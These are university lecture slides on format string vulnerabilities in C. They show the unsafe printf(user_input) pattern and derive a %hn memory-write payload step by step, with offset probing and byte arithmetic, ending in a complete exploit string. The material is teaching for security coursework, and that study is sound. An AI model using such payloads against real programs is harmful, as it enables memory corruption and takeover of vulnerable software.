
CSCI 3330
Cybersecurity

Word of the day

ZERO-ONE-INFINITY RULE

“Allow none of foo, one of foo, or any number of foo.” A rule of thumb for software design, which instructs one to not place random limits on the number of instances of a given entity (such as: windows in a window system, letters in an OS's filenames, etc.). Specifically, one should either disallow the entity entirely, allow exactly one instance (an “exception”), or allow as many as the user wants — address space and memory permitting. The logic behind this rule is that there are often situations where it makes clear sense to allow one of something instead of none. However, if one decides to go further and allow N (for N > 1), then why not N+1? And if N+1, then why not N+2, and so on? Once above 1, there's no excuse not to allow any N; hence, infinity. Many hackers recall in this connection Isaac Asimov's SF novel The Gods Themselves in which a character announces that the number 2 is impossible — if you're going to believe in more than one universe, you might as well believe in an infinite number of them.

Agenda for today

- Format string vulnerabilities
- Chroot

Format of a format string

- `%[argn$][flags][width][.precision][length modifier]`**`conversion`**
- %**s** – const char *
- %**d** – int
- %**x** – unsigned int
- %**p** – void *
- %**f** – double
- %**n** – int *

Format string vulnerabilities

- printf("%s", "hello, world\n");

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);
- printf(user_input);

Format string vulnerabilities

- printf("%s", "hello, world\n");
- printf("hello, world\n");
- const char *user_input = …;
- printf("%s", user_input);
- printf(user_input); /* !?!?!? */

Anatomy of a format string attack

```
\x12\xc0\x04\x08\x10\xc0\x04\x08%.2044x%15$hn%.35565x%16$hn
```

1) What you write to memory
2) Where you write (1)
3) Where, relative to %ebp+8, you read (2)

Construct string by starting at (3)

- First determine offset of buffer relative to %ebp+8
- Probing (recall how A is encoded in ASCII)
- `AAAA 1:%1$.8x: ff803f18`
- `AAAA 2:%2$.8x: ffa5afbc`
- …
- `AAAA 15:%15$.8x: 41414141`
- …

Construct string by starting at (3)

```
\x??\x??\x??\x??\x??\x??\x??\x??%.????x%15$hn%.????x%16$hn
```

Determine value of (1)

- Suppose we want to write 0x12345678
- Bytes: 0x78 0x56 0x34 0x12
- Shorts: 0x5678 0x1234
- Determine which short is smaller: 0x1234 (last)
- Subtract bytes already written: `\x??\x??\x??\x??\x??\x??\x??\x??` (8)
- 0x1234 – 8 = 4652

Determine value of (1)

- 0x1234 – 8 = 4652

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.????x%16$hn

- 0x5678 – 4652 – 8 = 17476

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.17476x%16$hn

Now construct (2)

- Suppose we want to overwrite a 32-bit value at address 0xdeadbeef
- We want to write our shorts to 0xdeadbeef and 0xdeadbeef + 2 = 0xdeadbef1
- If in (1) we wrote the last short first, we write the higher address first. Else we write the shortest first.
- Since we wrote the last short first, we will write:

\xf1\xbe\xad\xde\xef\xbe\xad\xde%.4652x%15$hn%.17476x%16$hn

Assignment 8

- Deadline: December 5, 2025, 10:00pm
- Format string vulnerabilities
  https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/assignment8.pdf

Portfolio Project

- Deadline: December 12, 2025, 10:00pm
- https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/portfolio.pdf